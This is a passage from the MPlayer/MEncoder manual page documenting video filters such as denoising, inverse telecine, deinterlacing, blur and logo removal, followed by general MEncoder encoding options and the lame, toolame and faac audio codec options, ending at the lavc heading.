mix random noise with a (semi)regular pattern
denoise3d[=luma_spatial:chroma_spatial:luma_tmp:chroma_tmp]
This filter aims to reduce image noise producing smooth images and making still images really still (This should enhance compressibility.).

<luma_spatial>
spatial luma strength (default: 4)
<chroma_spatial>
spatial chroma strength (default: 3)
<luma_tmp>
luma temporal strength (default: 6)
<chroma_tmp>
chroma temporal strength (default: luma_tmp*chroma_spatial/luma_spatial)
hqdn3d[=luma_spatial:chroma_spatial:luma_tmp:chroma_tmp]
High precision/:quality version of the denoise3d filter. Parameters and usage are the same.
eq[=brightness:contrast] (OBSOLETE)
Software equalizer with interactive controls just like the hardware equalizer, for cards/:drivers that do not support brightness and contrast controls in hardware. Might also be useful with MEncoder, either for fixing poorly captured movies, or for slightly reducing contrast to mask artifacts and get by with lower bitrates.

<-100-100>
initial brightness
<-100-100>
initial contrast
eq2[=gamma:contrast:brightness:saturation:rg:gg:bg:weight]
Alternative software equalizer that uses lookup tables (very slow), allowing gamma correction in addition to simple brightness and contrast adjustment. Note that it uses the same MMX optimized code as -vf eq if all gamma values are 1.0. The parameters are given as floating point values.

<0.1-10>
initial gamma value (default: 1.0)
<-2-2>
initial contrast, where negative values result in a negative image (default: 1.0)
<-1-1>
initial brightness (default: 0.0)
<0-3>
initial saturation (default: 1.0)
<0.1-10>
gamma value for the red component (default: 1.0)
<0.1-10>
gamma value for the green component (default: 1.0)
<0.1-10>
gamma value for the blue component (default: 1.0)
<0-1>
The weight parameter can be used to reduce the effect of a high gamma value on bright image areas, e.g. keep them from getting overamplified and just plain white. A value of 0.0 turns the gamma correction all the way down while 1.0 leaves it at its full strength (default: 1.0).
hue[=hue:saturation]
Software equalizer with interactive controls just like the hardware equalizer, for cards/:drivers that do not support hue and saturation controls in hardware.

<-180-180>
initial hue (default: 0.0)
<-100-100>
initial saturation, where negative values result in a negative chroma (default: 1.0)
halfpack[=f]
Convert planar YUV 4:2:0 to half-height packed 4:2:2, downsampling luma but keeping all chroma samples. Useful for output to low-resolution display devices when hardware downscaling is poor quality or is not available. Can also be used as a primitive luma-only deinterlacer with very low CPU usage.

<f>  
By default, halfpack averages pairs of lines when downsampling. Any value different from 0 or 1 gives the default (averaging) behavior.

0: Only use even lines when downsampling.
1: Only use odd lines when downsampling.
ilpack[=mode]
When interlaced video is stored in YUV 4:2:0 formats, chroma interlacing does not line up properly due to vertical downsampling of the chroma channels. This filter packs the planar 4:2:0 data into YUY2 (4:2:2) format with the chroma lines in their proper locations, so that in any given scanline, the luma and chroma data both come from the same field.

<mode>
Select the sampling mode.

0: nearest-neighbor sampling, fast but incorrect
1: linear interpolation (default)
harddup
Only useful with MEncoder. If harddup is used when encoding, it will force duplicate frames to be encoded in the output. This uses slightly more space, but is necessary for output to MPEG files or if you plan to demux and remux the video stream after encoding. Should be placed at or near the end of the filter chain unless you have a good reason to do otherwise.
softskip
Only useful with MEncoder. Softskip moves the frame skipping (dropping) step of encoding from before the filter chain to some point during the filter chain. This allows filters which need to see all frames (inverse telecine, temporal denoising, etc.) to function properly. Should be placed after the filters which need to see all frames and before any subsequent filters that are CPU-intensive.
decimate[=max:hi:lo:frac]
Drops frames that do not differ greatly from the previous frame in order to reduce framerate. The main use of this filter is for very-low-bitrate encoding (e.g. streaming over dialup modem), but it could in theory be used for fixing movies that were inverse-telecined incorrectly.

<max>
Sets the maximum number of consecutive frames which can be dropped (if positive), or the minimum interval between dropped frames (if negative).
<hi>,<lo>,<frac>
A frame is a candidate for dropping if no 8×8 region differs by more than a threshold of <hi>, and if not more than <frac> portion (1 meaning the whole image) differs by more than a threshold of <lo>. Values of <hi> and <lo> are for 8×8 pixel blocks and represent actual pixel value differences, so a threshold of 64 corresponds to 1 unit of difference for each pixel, or the same spread out differently over the block.
dint[=sense:level]
The drop-deinterlace (dint) filter detects and drops the first from a set of interlaced video frames.

<0.0-1.0>
relative difference between neighboring pixels (default: 0.1)
<0.0-1.0>
What part of the image has to be detected as interlaced to drop the frame (default: 0.15).
lavcdeint (OBSOLETE)
FFmpeg deinterlacing filter, same as -vf pp=fd
kerndeint[=thresh[:map[:order[:sharp[:twoway]]]]]
Donald Graft’s adaptive kernel deinterlacer. Deinterlaces parts of a video if a configurable threshold is exceeded.

<0-255>
threshold (default: 10)
<map>
0: Ignore pixels exceeding the threshold (default).
1: Paint pixels exceeding the threshold white.
<order>
0: Leave fields alone (default).
1: Swap fields.
<sharp>
0: Disable additional sharpening (default).
1: Enable additional sharpening.
<twoway>
0: Disable twoway sharpening (default).
1: Enable twoway sharpening.
unsharp[=l|cWxH:amount[:l|cWxH:amount]]
unsharp mask / gaussian blur

l    
Apply effect on luma component.
c    
Apply effect on chroma components.
<width>x<height>
width and height of the matrix, odd sized in both directions (min = 3×3, max = 13×11 or 11×13, usually something between 3×3 and 7×7)
amount
Relative amount of sharpness/:blur to add to the image (a sane range should be -1.5-1.5).

<0: blur
>0: sharpen
swapuv 
Swap U & V plane.
il[=d|i][s][:[d|i][s]]
(De)interleaves lines. The goal of this filter is to add the ability to process interlaced images pre-field without deinterlacing them. You can filter your interlaced DVD and play it on a TV without breaking the interlacing. While deinterlacing (with the postprocessing filter) removes interlacing permanently (by smoothing, averaging, etc) deinterleaving splits the frame into 2 fields (so called half pictures), so you can process (filter) them independently and then re-interleave them.

d
deinterleave (placing one above the other)
i
interleave
s
swap fields (exchange even & odd lines)
fil[=i|d]
(De)interleaves lines. This filter is very similar to the il filter but much faster, the main disadvantage is that it does not always work. Especially if combined with other filters it may produce randomly messed up images, so be happy if it works but do not complain if it does not for your combination of filters.

d
Deinterleave fields, placing them side by side.
i
Interleave fields again (reversing the effect of fil=d).
field[=n]
Extracts a single field from an interlaced image using stride arithmetic to avoid wasting CPU time. The optional argument n specifies whether to extract the even or the odd field (depending on whether n is even or odd).
detc[=var1=value1:var2=value2:…]
Attempts to reverse the ‘telecine’ process to recover a clean, non-interlaced stream at film framerate. This was the first and most primitive inverse telecine filter to be added to MPlayer/:MEncoder. It works by latching onto the telecine 3:2 pattern and following it as long as possible. This makes it suitable for perfectly-telecined material, even in the presence of a fair degree of noise, but it will fail in the presence of complex post-telecine edits. Development on this filter is no longer taking place, as ivtc, pullup, and filmdint are better for most applications. The following arguments (see syntax above) may be used to control detc’s behavior:

<dr> 
Set the frame dropping mode.

0: Do not drop frames to maintain fixed output framerate (default).
1: Always drop a frame when there have been no drops or telecine merges in the past 5 frames.
2: Always maintain exact 5:4 input to output frame ratio.
NOTE: Use mode 1 or 2 with MEncoder.
<am> 
Analysis mode.

0: Fixed pattern with initial frame number specified by <fr>.
1: aggressive search for telecine pattern (default)
<fr> 
Set initial frame number in sequence. 0-2 are the three clean progressive frames; 3 and 4 are the two interlaced frames. The default, -1, means ‘not in telecine sequence’. The number specified here is the type for the imaginary previous frame before the movie starts.
<t0>, <t1>, <t2>, <t3>
Threshold values to be used in certain modes.
ivtc[=1]
Experimental ‘stateless’ inverse telecine filter. Rather than trying to lock on to a pattern like the detc filter does, ivtc makes its decisions independently for each frame. This will give much better results for material that has undergone heavy editing after telecine was applied, but as a result it is not as forgiving of noisy input, for example TV capture. The optional parameter (ivtc=1) corresponds to the dr=1 option for the detc filter, and should be used with MEncoder but not with MPlayer. As with detc, you must specify the correct output framerate (-ofps 24000/1001) when using MEncoder. Further development on ivtc has stopped, as the pullup and filmdint filters appear to be much more accurate.
pullup[=jl:jr:jt:jb:sb:mp]
Third-generation pulldown reversal (inverse telecine) filter, capable of handling mixed hard-telecine, 24000/1001 fps progressive, and 30000/1001 fps progressive content. The pullup filter is designed to be much more robust than detc or ivtc, by taking advantage of future context in making its decisions. Like ivtc, pullup is stateless in the sense that it does not lock onto a pattern to follow, but it instead looks forward to the following fields in order to identify matches and rebuild progressive frames. It is still under development, but believed to be quite accurate.

jl, jr, jt, and jb
These options set the amount of “junk” to ignore at the left, right, top, and bottom of the image, respectively. Left/:right are in units of 8 pixels, while top/:bottom are in units of 2 lines. The default is 8 pixels on each side.
sb (strict breaks)
Setting this option to 1 will reduce the chances of pullup generating an occasional mismatched frame, but it may also cause an excessive number of frames to be dropped during high motion sequences. Conversely, setting it to -1 will make pullup match fields more easily. This may help processing of video where there is slight blurring between the fields, but may also cause there to be interlaced frames in the output.
mp (metric plane)
This option may be set to 1 or 2 to use a chroma plane instead of the luma plane for doing pullup’s computations. This may improve accuracy on very clean source material, but more likely will decrease accuracy, especially if there is chroma noise (rainbow effect) or any grayscale video. The main purpose of setting mp to a chroma plane is to reduce CPU load and make pullup usable in realtime on slow machines.
NOTE: Always follow pullup with the softskip filter when encoding to ensure that pullup is able to see each frame. Failure to do so will lead to incorrect output and will usually crash, due to design limitations in the codec/:filter layer.

filmdint[=options]
Inverse telecine filter, similar to the pullup filter above. It is designed to handle any pulldown pattern, including mixed soft and hard telecine and limited support for movies that are slowed down or sped up from their original framerate for TV. Only the luma plane is used to find the frame breaks. If a field has no match, it is deinterlaced with simple linear approximation. If the source is MPEG-2, this must be the first filter to allow access to the field-flags set by the MPEG-2 decoder. Depending on the source MPEG, you may be fine ignoring this advice, as long as you do not see lots of “Bottom-first field” warnings. With no options it does normal inverse telecine, and should be used together with mencoder -fps 30000/1001 -ofps 24000/1001. When this filter is used with mplayer, it will result in an uneven framerate during playback, but it is still generally better than using pp=lb or no deinterlacing at all. Multiple options can be specified separated by /.

crop=<w>:<h>:<x>:<y>
Just like the crop filter, but faster, and works on mixed hard and soft telecined content as well as when y is not a multiple of 4. If x or y would require cropping fractional pixels from the chroma planes, the crop area is extended. This usually means that x and y must be even.
io=<ifps>:<ofps>
For each ifps input frames the filter will output ofps frames. The ratio of ifps/:ofps should match the -fps/-ofps ratio. This could be used to filter movies that are broadcast on TV at a frame rate different from their original framerate.
luma_only=<n>
If n is nonzero, the chroma plane is copied unchanged. This is useful for YV12 sampled TV, which discards one of the chroma fields.
mmx2=<n>
On x86, if n=1, use MMX2 optimized functions, if n=2, use 3DNow! optimized functions, otherwise, use plain C. If this option is not specified, MMX2 and 3DNow! are auto-detected, use this option to override auto-detection.
fast=<n>
The larger n will speed up the filter at the expense of accuracy. The default value is n=3. If n is odd, a frame immediately following a frame marked with the REPEAT_FIRST_FIELD MPEG flag is assumed to be progressive, thus filter will not spend any time on soft-telecined MPEG-2 content. This is the only effect of this flag if MMX2 or 3DNow! is available. Without MMX2 and 3DNow, if n=0 or 1, the same calculations will be used as with n=2 or 3. If n=2 or 3, the number of luma levels used to find the frame breaks is reduced from 256 to 128, which results in a faster filter without losing much accuracy. If n=4 or 5, a faster, but much less accurate metric will be used to find the frame breaks, which is more likely to misdetect high vertical detail as interlaced content.
verbose=<n>
If n is nonzero, print the detailed metrics for each frame. Useful for debugging.
dint_thres=<n>
Deinterlace threshold. Used during de-interlacing of unmatched frames. Larger value means less deinterlacing, use n=256 to completely turn off deinterlacing. Default is n=8.
comb_thres=<n>
Threshold for comparing a top and bottom fields. Defaults to 128.
diff_thres=<n>
Threshold to detect temporal change of a field. Default is 128.
sad_thres=<n>
Sum of Absolute Difference threshold, default is 64.
softpulldown
This filter works only correct with MEncoder and acts on the MPEG-2 flags used for soft 3:2 pulldown (soft telecine). If you want to use the ivtc or detc filter on movies that are partly soft telecined, inserting this filter before them should make them more reliable.
divtc[=options]
Inverse telecine for deinterlaced video. If 3:2-pulldown telecined video has lost one of the fields or is deinterlaced using a method that keeps one field and interpolates the other, the result is a juddering video that has every fourth frame duplicated. This filter is intended to find and drop those duplicates and restore the original film framerate. When using this filter, you must specify -ofps that is 4/5 of the fps of the input file and place the softskip later in the filter chain to make sure that divtc sees all the frames. Two different modes are available: One pass mode is the default and is straightforward to use, but has the disadvantage that any changes in the telecine phase (lost frames or bad edits) cause momentary judder until the filter can resync again. Two pass mode avoids this by analyzing the whole video beforehand so it will have forward knowledge about the phase changes and can resync at the exact spot. These passes do not correspond to pass one and two of the encoding process. You must run an extra pass using divtc pass one before the actual encoding throwing the resulting video away. Use -nosound -ovc raw -o /dev/null to avoid wasting CPU power for this pass. You may add something like crop=2:2:0:0 after divtc to speed things up even more. Then use divtc pass two for the actual encoding. If you use multiple encoder passes, use divtc pass two for all of them. The options are:

pass=1|2
Use two pass mode.
file=<filename>
Set the two pass log filename (default: “framediff.log”).
threshold=<value>
Set the minimum strength the telecine pattern must have for the filter to believe in it (default: 0.5). This is used to avoid recognizing false pattern from the parts of the video that are very dark or very still.
window=<numframes>
Set the number of past frames to look at when searching for pattern (default: 30). Longer window improves the reliability of the pattern search, but shorter window improves the reaction time to the changes in the telecine phase. This only affects the one pass mode. The two pass mode currently uses fixed window that extends to both future and past.
phase=0|1|2|3|4
Sets the initial telecine phase for one pass mode (default: 0). The two pass mode can see the future, so it is able to use the correct phase from the beginning, but one pass mode can only guess. It catches the correct phase when it finds it, but this option can be used to fix the possible juddering at the beginning. The first pass of the two pass mode also uses this, so if you save the output from the first pass, you get constant phase result.
deghost=<value>
Set the deghosting threshold (0-255 for one pass mode, -255-255 for two pass mode, default 0). If nonzero, deghosting mode is used. This is for video that has been deinterlaced by blending the fields together instead of dropping one of the fields. Deghosting amplifies any compression artifacts in the blended frames, so the parameter value is used as a threshold to exclude those pixels from deghosting that differ from the previous frame less than specified value. If two pass mode is used, then negative value can be used to make the filter analyze the whole video in the beginning of pass-2 to determine whether it needs deghosting or not and then select either zero or the absolute value of the parameter. Specify this option for pass-2, it makes no difference on pass-1.
phase[=t|b|p|a|u|T|B|A|U][:v]
Delay interlaced video by one field time so that the field order changes. The intended use is to fix PAL movies that have been captured with the opposite field order to the film-to-video transfer. The options are:

t
Capture field order top-first, transfer bottom-first. Filter will delay the bottom field.
b
Capture bottom-first, transfer top-first. Filter will delay the top field.
p
Capture and transfer with the same field order. This mode only exists for the documentation of the other options to refer to, but if you actually select it, the filter will faithfully do nothing ;-)
a
Capture field order determined automatically by field flags, transfer opposite. Filter selects among t and b modes on a frame by frame basis using field flags. If no field information is available, then this works just like u.
u
Capture unknown or varying, transfer opposite. Filter selects among t and b on a frame by frame basis by analyzing the images and selecting the alternative that produces best match between the fields.
T
Capture top-first, transfer unknown or varying. Filter selects among t and p using image analysis.
B
Capture bottom-first, transfer unknown or varying. Filter selects among b and p using image analysis.
A
Capture determined by field flags, transfer unknown or varying. Filter selects among t, b and p using field flags and image analysis. If no field information is available, then this works just like U. This is the default mode.
U
Both capture and transfer unknown or varying. Filter selects among t, b and p using image analysis only.
v
Verbose operation. Prints the selected mode for each frame and the average squared difference between fields for t, b, and p alternatives.
telecine[=start]
Apply 3:2 ‘telecine’ process to increase framerate by 20%. This most likely will not work correctly with MPlayer, but it can be used with ‘mencoder -fps 30000/1001 -ofps 30000/1001 -vf telecine’. Both fps options are essential! (A/V sync will break if they are wrong.) The optional start parameter tells the filter where in the telecine pattern to start (0-3).
tinterlace[=mode]
Temporal field interlacing – merge pairs of frames into an interlaced frame, halving the framerate. Even frames are moved into the upper field, odd frames to the lower field. This can be used to fully reverse the effect of the tfields filter (in mode 0). Available modes are:

0
Move odd frames into the upper field, even into the lower field, generating a full-height frame at half framerate.
1
Only output odd frames, even frames are dropped; height unchanged.
2
Only output even frames, odd frames are dropped; height unchanged.
3
Expand each frame to full height, but pad alternate lines with black; framerate unchanged.
4
Interleave even lines from even frames with odd lines from odd frames. Height unchanged at half framerate.
tfields[=mode[:field_dominance]]
Temporal field separation – split fields into frames, doubling the output framerate. Like the telecine filter, tfields will only work properly with MEncoder, and only if both -fps and -ofps are set to the desired (double) framerate!

<mode>
0: Leave fields unchanged (will jump/:flicker).
1: Interpolate missing lines. (The algorithm used might not be so good.)
2: Translate fields by 1/4 pixel with linear interpolation (no jump).
4: Translate fields by 1/4 pixel with 4tap filter (higher quality) (default).
<field_dominance> (DEPRECATED)
-1: auto (default) Only works if the decoder exports the appropriate information and no other filters which discard that information come before tfields in the filter chain, otherwise it falls back to 0 (top field first).
0: top field first
1: bottom field first
NOTE: This option will possibly be removed in a future version. Use -field-dominance instead.
yadif=[mode[:field_dominance]]
Yet another deinterlacing filter

<mode>
0: Output 1 frame for each frame.
1: Output 1 frame for each field.
2: Like 0 but skips spatial interlacing check.
3: Like 1 but skips spatial interlacing check.
<field_dominance> (DEPRECATED)
Operates like tfields.
NOTE: This option will possibly be removed in a future version. Use -field-dominance instead.
mcdeint=[mode[:parity[:qp]]]
Motion compensating deinterlacer. It needs one field per frame as input and must thus be used together with tfields=1 or yadif=1/3 or equivalent.

<mode>
0: fast
1: medium
2: slow, iterative motion estimation
3: extra slow, like 2 plus multiple reference frames
<parity>
0 or 1 selects which field to use (note: no autodetection yet!).
<qp> 
Higher values should result in a smoother motion vector field but less optimal individual vectors.
boxblur=radius:power[:radius:power]
box blur

<radius>
blur filter strength
<power>
number of filter applications
sab=radius:pf:colorDiff[:radius:pf:colorDiff]
shape adaptive blur

<radius>
blur filter strength (~0.1-4.0) (slower if larger)
<pf> 
prefilter strength (~0.1-2.0)
<colorDiff>
maximum difference between pixels to still be considered (~0.1-100.0)
smartblur=radius:strength:threshold[:radius:strength:threshold]
smart blur

<radius>
blur filter strength (~0.1-5.0) (slower if larger)
<strength>
blur (0.0-1.0) or sharpen (-1.0-0.0)
<threshold>
filter all (0), filter flat areas (0-30) or filter edges (-30-0)
perspective=x0:y0:x1:y1:x2:y2:x3:y3:t
Correct the perspective of movies not filmed perpendicular to the screen.

<x0>,<y0>,…
coordinates of the top left, top right, bottom left, bottom right corners
<t>  
linear (0) or cubic resampling (1)
2xsai  
Scale and smooth the image with the 2x scale and interpolate algorithm.
1bpp   
1bpp bitmap to YUV/:BGR 8/:15/:16/:32 conversion
down3dright[=lines]
Reposition and resize stereoscopic images. Extracts both stereo fields and places them side by side, resizing them to maintain the original movie aspect.

<lines>
number of lines to select from the middle of the image (default: 12)
bmovl=hidden:opaque:fifo
The bitmap overlay filter reads bitmaps from a FIFO and displays them on top of the movie, allowing some transformations on the image. Also see TOOLS/bmovl-test.c for a small bmovl test program.

<hidden>
Set the default value of the ‘hidden’ flag (0=visible, 1=hidden).
<opaque>
Set the default value of the ‘opaque’ flag (0=transparent, 1=opaque).
<fifo>
path/:filename for the FIFO (named pipe connecting ‘mplayer -vf bmovl’ to the controlling application)
FIFO commands are:
RGBA32 width height xpos ypos alpha clear
followed by width*height*4 Bytes of raw RGBA32 data.
ABGR32 width height xpos ypos alpha clear
followed by width*height*4 Bytes of raw ABGR32 data.
RGB24 width height xpos ypos alpha clear
followed by width*height*3 Bytes of raw RGB24 data.
BGR24 width height xpos ypos alpha clear
followed by width*height*3 Bytes of raw BGR24 data.
ALPHA width height xpos ypos alpha
Change alpha transparency of the specified area.
CLEAR width height xpos ypos
Clear area.
OPAQUE
Disable all alpha transparency. Send “ALPHA 0 0 0 0 0” to enable it again.
HIDE 
Hide bitmap.
SHOW 
Show bitmap.
Arguments are:
<width>, <height>
image/area size
<xpos>, <ypos>
Start blitting at position x/y.
<alpha>
Set alpha difference. If you set this to -255 you can then send a sequence of ALPHA-commands to set the area to -225, -200, -175 etc for a nice fade-in-effect! ;)

0: same as original
255: Make everything opaque.
-255: Make everything transparent.
<clear>
Clear the framebuffer before blitting.

0: The image will just be blitted on top of the old one, so you do not need to send 1.8MB of RGBA32 data every time a small part of the screen is updated.
1: clear
framestep=I|[i]step
Renders only every nth frame or every intra frame (keyframe).If you call the filter with I (uppercase) as the parameter, then only keyframes are rendered. For DVDs it generally means one in every 15/12 frames (IBBPBBPBBPBBPBB), for AVI it means every scene change or every keyint value (see -lavcopts keyint= value if you use MEncoder to encode the video).

When a keyframe is found, an ‘I!’ string followed by a newline character is printed, leaving the current line of MPlayer/:MEncoder output on the screen, because it contains the time (in seconds) and frame number of the keyframe (You can use this information to split the AVI.).

If you call the filter with a numeric parameter ‘step’ then only one in every ‘step’ frames is rendered.

If you put an ‘i’ (lowercase) before the number then an ‘I!’ is printed (like the I parameter).

If you give only the i then nothing is done to the frames, only I! is printed.

tile=xtiles:ytiles:output:start:delta
Tile a series of images into a single, bigger image. If you omit a parameter or use a value less than 0, then the default value is used. You can also stop when you are satisfied (… -vf tile=10:5 …). It is probably a good idea to put the scale filter before the tile :-)The parameters are:

<xtiles>
number of tiles on the x axis (default: 5)
<ytiles>
number of tiles on the y axis (default: 5)
<output>
Render the tile when ‘output’ number of frames are reached, where ‘output’ should be a number less than xtile * ytile. Missing tiles are left blank. You could, for example, write an 8 * 7 tile every 50 frames to have one image every 2 seconds @ 25 fps.
<start>
outer border thickness in pixels (default: 2)
<delta>
inner border thickness in pixels (default: 4)
delogo[=x:y:w:h:t]
Suppresses a TV station logo by a simple interpolation of the surrounding pixels. Just set a rectangle covering the logo and watch it disappear (and sometimes something even uglier appear – your mileage may vary).

<x>,<y>
top left corner of the logo
<w>,<h>
width and height of the cleared rectangle
<t>
Thickness of the fuzzy edge of the rectangle (added to w and h). When set to -1, a green rectangle is drawn on the screen to simplify finding the right x,y,w,h parameters.
remove-logo=/path/to/logo_bitmap_file_name.pgm
Suppresses a TV station logo, using a PGM or PPM image file to determine which pixels comprise the logo. The width and height of the image file must match those of the video stream being processed. Uses the filter image and a circular blur algorithm to remove the logo.

/path/to/logo_bitmap_file_name.pgm
[path] + filename of the filter image.
zrmjpeg[=options]
Software YV12 to MJPEG encoder for use with the zr2 video output device.

maxheight=<h>|maxwidth=<w>
These options set the maximum width and height the zr card can handle (the MPlayer filter layer currently cannot query those).
{dc10+,dc10,buz,lml33}-{PAL|NTSC}
Use these options to set maxwidth and maxheight automatically to the values known for card/:mode combo. For example, valid options are: dc10-PAL and buz-NTSC (default: dc10+PAL)
color|bw
Select color or black and white encoding. Black and white encoding is faster. Color is the default.
hdec={1,2,4}
Horizontal decimation 1, 2 or 4.
vdec={1,2,4}
Vertical decimation 1, 2 or 4.
quality=1-20
Set JPEG compression quality [BEST] 1 – 20 [VERY BAD].
fd|nofd
By default, decimation is only performed if the Zoran hardware can upscale the resulting MJPEG images to the original size. The option fd instructs the filter to always perform the requested decimation (ugly).
screenshot
Allows acquiring screenshots of the movie using slave mode commands that can be bound to keypresses. See the slave mode documentation and the INTERACTIVE CONTROL section for details. Files named ‘shotNNNN.png’ will be saved in the working directory, using the first available number – no files will be overwritten. The filter has no overhead when not used and accepts an arbitrary colorspace, so it is safe to add it to the configuration file.
ass    
Moves SSA/ASS subtitle rendering to an arbitrary point in the filter chain. Only useful with the -ass option.EXAMPLE:

-vf ass,screenshot
Moves SSA/ASS rendering before the screenshot filter. Screenshots taken this way will contain subtitles.
blackframe[=amount:threshold]
Detect frames that are (almost) completely black. Can be useful to detect chapter transitions or commercials. Output lines consist of the frame number of the detected frame, the percentage of blackness, the frame type and the frame number of the last encountered keyframe.

<amount>
Percentage of the pixels that have to be below the threshold (default: 98).
<threshold>
Threshold below which a pixel value is considered black (default: 32).

GENERAL ENCODING OPTIONS (MENCODER ONLY)

-audio-delay <any floating-point number>
Delays either audio or video by setting a delay field in the header (default: 0.0). This does not delay either stream while encoding, but the player will see the delay field and compensate accordingly. Positive values delay the audio, and negative values delay the video. Note that this is the exact opposite of the -delay option. For example, if a video plays correctly with -delay 0.2, you can fix the video with MEncoder by using -audio-delay -0.2.Currently, this option only works with the default muxer (-of avi). If you are using a different muxer, then you must use -delay instead.

-audio-density <1-50>
Number of audio chunks per second (default is 2 for 0.5s long audio chunks).
NOTE: CBR only, VBR ignores this as it puts each packet in a new chunk.
-audio-preload <0.0-2.0>
Sets up the audio buffering time interval (default: 0.5s).
-fafmttag <format>
Can be used to override the audio format tag of the output file.EXAMPLE:

-fafmttag 0x55
Will have the output file contain 0x55 (mp3) as audio format tag.
-ffourcc <fourcc>
Can be used to override the video fourcc of the output file.EXAMPLE:

-ffourcc div3
Will have the output file contain ‘div3’ as video fourcc.
-force-avi-aspect <0.2-3.0>
Override the aspect stored in the AVI OpenDML vprp header. This can be used to change the aspect ratio with ‘-ovc copy’.
-frameno-file <filename> (DEPRECATED)
Specify the name of the audio file with framenumber mappings created in the first (audio only) pass of a special three pass encoding mode.
NOTE: Using this mode will most likely give you A-V desync. Do not use it. It is kept for backwards compatibility only and will possibly be removed in a future version.
-hr-edl-seek
Use a more precise, but much slower method for skipping areas. Areas marked for skipping are not seeked over, instead all frames are decoded, but only the necessary frames are encoded. This allows starting at non-keyframe boundaries.
NOTE: Not guaranteed to work right with ‘-ovc copy’.
-info <option1:option2:…> (AVI only)
Specify the info header of the resulting AVI file.Available options are:

help 
Show this description.
name=<value>
title of the work
artist=<value>
artist or author of the work
genre=<value>
original work category
subject=<value>
contents of the work
copyright=<value>
copyright information
srcform=<value>
original format of the digitized material
comment=<value>
general comments about the work
-noautoexpand
Do not automatically insert the expand filter into the MEncoder filter chain. Useful to control at which point of the filter chain subtitles are rendered when hardcoding subtitles onto a movie.
-noencodedups
Do not attempt to encode duplicate frames in duplicate; always output zero-byte frames to indicate duplicates. Zero-byte frames will be written anyway unless a filter or encoder capable of doing duplicate encoding is loaded. Currently the only such filter is harddup.
-noodml (-of avi only)
Do not write OpenDML index for AVI files >1GB.
-noskip
Do not skip frames.
-o <filename>
Outputs to the given filename.
If you want a default output filename, you can put this option in the MEncoder config file.
-oac <codec name>
Encode with the given audio codec (no default set).
NOTE: Use -oac help to get a list of available audio codecs.EXAMPLE:

-oac copy
no encoding, just streamcopy
-oac pcm
Encode to uncompressed PCM.
-oac mp3lame
Encode to MP3 (using LAME).
-oac lavc
Encode with a libavcodec codec.
-of <format> (BETA CODE!)
Encode to the specified container format (default: AVI).
NOTE: Use -of help to get a list of available container formats.EXAMPLE:

-of avi
Encode to AVI.
-of mpeg
Encode to MPEG (also see -mpegopts).
-of lavf
Encode with libavformat muxers (also see -lavfopts).
-of rawvideo
raw video stream (no muxing – one video stream only)
-of rawaudio
raw audio stream (no muxing – one audio stream only)
-ofps <fps>
Specify a frames per second (fps) value for the output file, which can be different from that of the source material. Must be set for variable fps (ASF, some MOV) and progressive (30000/1001 fps telecined MPEG) files.
-ovc <codec name>
Encode with the given video codec (no default set).
NOTE: Use -ovc help to get a list of available video codecs.EXAMPLE:

-ovc copy
no encoding, just streamcopy
-ovc raw
Encode to an arbitrary uncompressed format (use ‘-vf format’ to select).
-ovc lavc
Encode with a libavcodec codec.
-passlogfile <filename>
Dump first pass information to <filename> instead of the default divx2pass.log in two pass encoding mode.
-skiplimit <value>
Specify the maximum number of frames that may be skipped after encoding one frame (-noskiplimit for unlimited).
-vobsubout <basename>
Specify the basename for the output .idx and .sub files. This turns off subtitle rendering in the encoded movie and diverts it to VOBsub subtitle files.
-vobsuboutid <langid>
Specify the language two letter code for the subtitles. This overrides what is read from the DVD or the .ifo file.
-vobsuboutindex <index>
Specify the index of the subtitles in the output files (default: 0).

CODEC SPECIFIC ENCODING OPTIONS (MENCODER ONLY)

You can specify codec specific encoding parameters using the following syntax:

-<codec>opts <option1[=value],option2,…>

Where <codec> may be: lavc, xvidenc, lame, toolame, twolame, nuv, xvfw, faac, x264enc, mpeg, lavf.

lame (-lameopts)

help   
get help
vbr=<0-4>
variable bitrate method

0
cbr
1
mt
2
rh (default)
3
abr
4
mtrh
abr    
average bitrate
cbr    
constant bitrate Also forces CBR mode encoding on subsequent ABR presets modes.
br=<0-1024>
bitrate in kbps (CBR and ABR only)
q=<0-9>
quality (0 – highest, 9 – lowest) (VBR only)
aq=<0-9>
algorithmic quality (0 – best/slowest, 9 – worst/fastest)
ratio=<1-100>
compression ratio
vol=<0-10>
audio input gain
mode=<0-3>
(default: auto)

0
stereo
1
joint-stereo
2
dualchannel
3
mono
padding=<0-2>
0
none
1
all
2
adjust
fast   
Switch on faster encoding on subsequent VBR presets modes. This results in slightly lower quality and higher bitrates.
highpassfreq=<freq>
Set a highpass filtering frequency in Hz. Frequencies below the specified one will be cut off. A value of -1 will disable filtering, a value of 0 will let LAME choose values automatically.
lowpassfreq=<freq>
Set a lowpass filtering frequency in Hz. Frequencies above the specified one will be cut off. A value of -1 will disable filtering, a value of 0 will let LAME choose values automatically.
preset=<value>
preset values

help 
Print additional options and information about presets settings.
medium
VBR encoding, good quality, 150-180 kbps bitrate range
standard
VBR encoding, high quality, 170-210 kbps bitrate range
extreme
VBR encoding, very high quality, 200-240 kbps bitrate range
insane
CBR encoding, highest preset quality, 320 kbps bitrate
<8-320>
ABR encoding at average given kbps bitrate
EXAMPLES:
fast:preset=standard
suitable for most people and most music types and already quite high quality
cbr:preset=192
Encode with ABR presets at a 192 kbps forced constant bitrate.
preset=172
Encode with ABR presets at a 172 kbps average bitrate.
preset=extreme
for people with extremely good hearing and similar equipment

toolame and twolame (-toolameopts and -twolameopts respectively)

br=<32-384>
In CBR mode this parameter indicates the bitrate in kbps, when in VBR mode it is the minimum bitrate allowed per frame. VBR mode will not work with a value below 112.
vbr=<-50-50> (VBR only)
variability range; if negative the encoder shifts the average bitrate towards the lower limit, if positive towards the higher. When set to 0 CBR is used (default).
maxvbr=<32-384> (VBR only)
maximum bitrate allowed per frame, in kbps
mode=<stereo | jstereo | mono | dual>
(default: mono for 1-channel audio, stereo otherwise)
psy=<-1-4>
psychoacoustic model (default: 2)
errprot=<0 | 1>
Include error protection.
debug=<0-10>
debug level

faac (-faacopts)

br=<bitrate>
average bitrate in kbps (mutually exclusive with quality)
quality=<1-1000>
quality mode, the higher the better (mutually exclusive with br)
object=<1-4>
object type complexity

1
MAIN (default)
2
LOW
3
SSR
4
LTP (extremely slow)
mpeg=<2|4>
MPEG version (default: 4)
tns    
Enables temporal noise shaping.
cutoff=<0-sampling_rate/2>
cutoff frequency (default: sampling_rate/2)
raw    
Stores the bitstream as raw payload with extradata in the container header (default: 0, corresponds to ADTS). Do not set this flag if not explicitly required or you will not be able to remux the audio stream later on.

lavc (-lavcopts)

